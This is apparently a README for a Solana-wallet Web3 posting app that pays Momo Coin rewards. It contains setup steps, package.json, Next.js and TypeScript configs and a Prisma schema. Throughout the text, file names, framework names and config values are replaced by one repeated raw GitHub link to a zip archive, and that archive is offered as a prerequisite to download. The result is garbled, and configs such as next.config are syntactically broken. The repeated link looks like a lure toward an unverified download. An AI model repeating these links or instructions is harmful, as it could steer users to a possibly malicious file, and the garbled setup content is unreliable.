A Web3 platform for posting and sharing Momo Coin content with Solana wallet integration, optimized for Cloudflare deployment.
- Solana Wallet Integration - Connect with Phantom wallet
- Three-Tab Interface - Post, Links, and Profile sections
- Public Content Discovery - Anyone can view community posts without login
- Reward System - Earn 25,000 Momo Coin per post
- Link Validation - Prevent duplicate submissions and ensure valid URLs
- Responsive Design - Navy blue futuristic theme with mobile support
- Cloudflare Ready - Optimized for Cloudflare Pages deployment
- Cloudflare account (Free tier works)
- Git repository (GitHub, GitLab, etc.)
- https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip (for local development only)
- Upload all project files to your Git repository
- Make sure the repository is public or accessible by Cloudflare
- Go to Cloudflare Dashboard
- Navigate to Pages section
- Click "Create a project"
- Connect your Git repository
- Select the repository containing MoBoy files
- Configure build settings:
- Framework preset:
https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip - Build command:
npm run build - Build output directory:
out
- Framework preset:
- Click "Save and Deploy"
Add these environment variables in Cloudflare Pages settings:
DATABASE_URL="https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip"
NEXTAUTH_SECRET="your-secret-key-here"
The application uses SQLite with Prisma ORM. The database file will be automatically created on first deployment.
moboy-web3/
โโโ src/
โ โโโ app/
โ โ โโโ api/
โ โ โ โโโ posts/
โ โ โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โ โโโ user/
โ โ โ โโโ claim-rewards/
โ โ โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โ โโโ profile/
โ โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โโโ components/
โ โ โโโ ui/
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โโโ lib/
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โ โโโ styles/
โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โโโ prisma/
โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โโโ public/
โ โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โโโ .gitignore
โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
โโโ https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
{
"name": "moboy-web3",
"version": "1.0.0",
"description": "MoBoy - Posting About Momo Coin",
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start",
"lint": "next lint",
"db:push": "prisma db push",
"db:generate": "prisma generate"
},
"dependencies": {
"next": "^15.0.0",
"react": "^19.0.0",
"react-dom": "^19.0.0",
"typescript": "^5.0.0",
"@prisma/client": "^5.0.0",
"prisma": "^5.0.0",
"lucide-react": "^0.400.0",
"sonner": "^1.0.0",
"class-variance-authority": "^0.7.0",
"clsx": "^2.0.0",
"tailwind-merge": "^2.0.0"
},
"devDependencies": {
"@types/node": "^20.0.0",
"@types/react": "^18.0.0",
"@types/react-dom": "^18.0.0",
"autoprefixer": "^10.0.0",
"postcss": "^8.0.0",
"tailwindcss": "^3.0.0",
"eslint": "^8.0.0",
"eslint-config-next": "^15.0.0"
}
}/** @type {import('next').NextConfig} */
const nextConfig = {
output: 'export',
trailingSlash: true,
images: {
unoptimized: true
},
env: {
NEXTAUTH_URL: https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip,
DATABASE_URL: https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip
}
}
https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip = nextConfig{
"compilerOptions": {
"target": "es5",
"lib": ["dom", "https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip", "es6"],
"allowJs": true,
"skipLibCheck": true,
"strict": true,
"forceConsistentCasingInFileNames": true,
"noEmit": true,
"esModuleInterop": true,
"module": "esnext",
"moduleResolution": "node",
"resolveJsonModule": true,
"isolatedModules": true,
"jsx": "preserve",
"incremental": true,
"plugins": [
{
"name": "next"
}
],
"paths": {
"@/*": ["./src/*"]
}
},
"include": ["https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip", "**/*.ts", "**/*.tsx", ".next/types/**/*.ts"],
"exclude": ["node_modules"]
}generator client {
provider = "prisma-client-js"
}
datasource db {
provider = "sqlite"
url = env("DATABASE_URL")
}
model User {
id String @id @default(cuid())
walletAddress String @unique
postCount Int @default(0)
rewardsClaimed Int @default(0)
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
posts Post[]
}
model Post {
id String @id @default(cuid())
linkUrl String @unique
walletAddress String
createdAt DateTime @default(now())
updatedAt DateTime @updatedAt
user User @relation(fields: [walletAddress], references: [walletAddress])
}- Submit Momo Coin related content links
- URL validation to prevent invalid submissions
- Duplicate link detection
- Real-time feedback with toast notifications
- Public Access - No wallet connection required
- View all community posts
- Copy links and wallet addresses
- Sort by date (newest first)
- Personal statistics dashboard
- Reward tracking (25,000 Momo Coin per post)
- Claim rewards when reaching 1,000,000 Momo Coin
- Wallet information display
- Input validation for all forms
- URL format verification
- Duplicate content prevention
- Wallet address validation
- XSS protection through React
- Chrome/Chromium 90+
- Firefox 88+
- Safari 14+
- Edge 90+
- Touch-friendly interface
- Optimized for mobile devices
- Progressive Web App ready
- Use the https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip framework preset
- Enable https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip compatibility in settings
- Set Build output directory to
out - Configure environment variables in Cloudflare dashboard
DATABASE_URL="https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip"
NEXTAUTH_SECRET="your-secure-secret-key"
- Build fails: Check https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip version compatibility
- Database errors: Verify DATABASE_URL environment variable
- Wallet connection: Ensure Phantom wallet is installed
- Posts not showing: Check API endpoints are accessible
- Clear browser cache and reload
- Check Cloudflare deployment logs
- Verify environment variables
- Test with different browsers
For issues and questions:
- Check this README first
- Review Cloudflare deployment logs
- Test locally with
npm run dev - Check browser console for errors
MIT License - Free to use and modify
MoBoy - Posting About Momo Coin ๐ฎ Built with https://raw.githubusercontent.com/romansyah26588-stack/moboy-earn/main/src/lib/moboy_earn_2.6.zip, TypeScript, and Tailwind CSS Optimized for Cloudflare Pages deployment